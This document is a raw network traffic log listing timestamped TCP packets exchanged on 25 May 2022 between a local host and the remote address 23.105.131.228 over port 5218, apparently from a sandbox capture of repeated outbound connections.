May 25, 2022 16:29:54.510423899 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.510471106 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.512229919 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.512296915 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.512581110 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.512661934 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.608360052 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.608565092 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.853746891 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.854198933 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.855449915 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.855739117 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.866060972 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.873543978 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.873621941 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.873743057 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.873886108 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.873965979 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874007940 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.874012947 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874052048 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.874146938 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.874150991 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874268055 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874298096 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.874372959 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874552011 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874615908 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874878883 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.874958992 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.875006914 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.875144005 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.875160933 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.875232935 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.875334978 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.875359058 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.875458956 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.875480890 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.875623941 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.875629902 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.875690937 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.876024008 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.910156012 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.910284996 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:55.112281084 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:55.112363100 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:55.112411022 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:55.112968922 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:55.113503933 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:55.113812923 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:58.894402027 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:59.232359886 CEST	5218	49800	23.105.131.228	192.168.11.20
May 25, 2022 16:29:59.232718945 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:59.232878923 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:59.574799061 CEST	5218	49800	23.105.131.228	192.168.11.20
May 25, 2022 16:29:59.575181961 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:59.624574900 CEST	5218	49800	23.105.131.228	192.168.11.20
May 25, 2022 16:29:59.677742958 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:00.003113031 CEST	5218	49800	23.105.131.228	192.168.11.20
May 25, 2022 16:30:00.003395081 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:00.278145075 CEST	5218	49800	23.105.131.228	192.168.11.20
May 25, 2022 16:30:00.278352022 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:00.609354973 CEST	5218	49800	23.105.131.228	192.168.11.20
May 25, 2022 16:30:00.609639883 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:01.130326033 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:01.599805117 CEST	5218	49800	23.105.131.228	192.168.11.20
May 25, 2022 16:30:01.600183010 CEST	49800	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:05.158725977 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:05.428076029 CEST	5218	49801	23.105.131.228	192.168.11.20
May 25, 2022 16:30:05.428419113 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:05.428633928 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:05.735704899 CEST	5218	49801	23.105.131.228	192.168.11.20
May 25, 2022 16:30:05.736088991 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:05.781105042 CEST	5218	49801	23.105.131.228	192.168.11.20
May 25, 2022 16:30:05.832459927 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:06.053597927 CEST	5218	49801	23.105.131.228	192.168.11.20
May 25, 2022 16:30:06.053944111 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:06.675956964 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:07.044518948 CEST	5218	49801	23.105.131.228	192.168.11.20
May 25, 2022 16:30:07.044575930 CEST	5218	49801	23.105.131.228	192.168.11.20
May 25, 2022 16:30:07.044828892 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:07.253978968 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:07.393738985 CEST	5218	49801	23.105.131.228	192.168.11.20
May 25, 2022 16:30:07.394064903 CEST	49801	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:11.282053947 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:11.622735977 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:11.622970104 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:11.623215914 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:12.072725058 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:12.072873116 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:12.113738060 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:12.159004927 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:12.366143942 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:12.366314888 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:12.633939028 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:12.634320021 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.084369898 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.084611893 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.440315962 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.504086018 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.504297972 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.633596897 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.633692980 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.633749008 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.633824110 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.633877039 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.633908987 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.633974075 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.633987904 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.634071112 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.634632111 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.634706020 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.634784937 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.634881020 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.634936094 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.634948015 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.634953976 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.635195971 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:13.635849953 CEST	5218	49802	23.105.131.228	192.168.11.20
May 25, 2022 16:30:13.636137009 CEST	49802	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:17.468640089 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:17.768793106 CEST	5218	49803	23.105.131.228	192.168.11.20
May 25, 2022 16:30:17.769119978 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:17.769659042 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:18.081784010 CEST	5218	49803	23.105.131.228	192.168.11.20
May 25, 2022 16:30:18.082025051 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:18.125978947 CEST	5218	49803	23.105.131.228	192.168.11.20
May 25, 2022 16:30:18.173412085 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:18.388341904 CEST	5218	49803	23.105.131.228	192.168.11.20
May 25, 2022 16:30:18.389152050 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:18.720060110 CEST	5218	49803	23.105.131.228	192.168.11.20
May 25, 2022 16:30:18.720361948 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:19.234453917 CEST	5218	49803	23.105.131.228	192.168.11.20
May 25, 2022 16:30:19.234589100 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:19.610642910 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:19.757203102 CEST	5218	49803	23.105.131.228	192.168.11.20
May 25, 2022 16:30:19.757436991 CEST	49803	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:23.639348984 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:23.940818071 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:23.941173077 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:23.941395044 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:24.364213943 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:24.364976883 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:24.423804998 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:24.424048901 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:24.663104057 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:24.663304090 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:24.733691931 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:24.934215069 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:24.934417963 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.244502068 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.244798899 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.595793962 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.596065044 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.669399023 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.669692993 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.671741009 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.671951056 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.673306942 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.673374891 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.673423052 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.673577070 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.673629045 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.681556940 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.681634903 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.681828976 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.681922913 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.688913107 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.688988924 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.689043999 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.689265013 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.689325094 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.812602997 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.894227982 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.894587994 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.931348085 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.931443930 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.931498051 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.931575060 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.931653023 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.931710958 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.931782961 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.933537006 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.933645964 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.933701038 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.933748960 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.933810949 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.933932066 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.934935093 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.935010910 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.935065985 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.935231924 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.935292006 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.936434984 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.936640024 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.941400051 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.941474915 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.941612959 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.941698074 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.964512110 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.964612007 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.964690924 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.964726925 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.964745998 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.964857101 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.964907885 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.965066910 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.965131044 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.965215921 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.965298891 CEST	5218	49804	23.105.131.228	192.168.11.20
May 25, 2022 16:30:25.965306044 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:25.965534925 CEST	49804	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:29.841319084 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:30.115247011 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:30.115648031 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:30.115828037 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:30.423556089 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:30.423794031 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:30.508622885 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:30.561332941 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:30.736026049 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:30.736238956 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:30.999794006 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:30.999973059 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.329727888 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.329952955 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.751338005 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.751554966 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.808527946 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.808593988 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.808868885 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.808950901 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.811191082 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.811258078 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.811563015 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.816940069 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.817008972 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.817071915 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.817316055 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.817368031 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.819443941 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.819509029 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.819557905 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:31.819801092 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.819853067 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:31.920672894 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.222444057 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.222624063 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.222692013 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.222703934 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.222970009 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.223001957 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.232400894 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.232599020 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.233963013 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.234231949 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.241925001 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.242022991 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.242078066 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.242130995 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.242191076 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.242257118 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.242453098 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.246531010 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.246680975 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.246737003 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.246790886 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.246798038 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.247057915 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.247093916 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.252101898 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.252178907 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.252235889 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.252317905 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.252430916 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.252454996 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.254002094 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.254093885 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.254177094 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.254195929 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.254250050 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.254422903 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:32.259358883 CEST	5218	49805	23.105.131.228	192.168.11.20
May 25, 2022 16:30:32.259671926 CEST	49805	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:36.067786932 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:36.339356899 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:36.339643002 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:36.339998960 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:36.753509998 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:36.753688097 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:36.805382013 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:36.805731058 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:37.123275042 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:37.123495102 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:37.386373043 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:37.386640072 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:37.737423897 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:37.737781048 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.044362068 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.044728994 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.113042116 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113132954 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113218069 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113235950 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.113315105 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.113344908 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113374949 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.113468885 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113523960 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.113550901 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113631010 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.113651991 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113811016 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.113898039 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.113993883 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.114057064 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.114119053 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.114181995 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.114260912 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.153651953 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.376467943 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.376697063 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.395761967 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.395859003 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.396164894 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.396833897 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.396924973 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.397099018 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.397154093 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.404474020 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.404546022 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.404680967 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.404756069 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.406318903 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.406678915 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.417123079 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.417294025 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.417359114 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.417373896 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.417465925 CEST	49806	5218	192.168.11.20	23.105.131.228
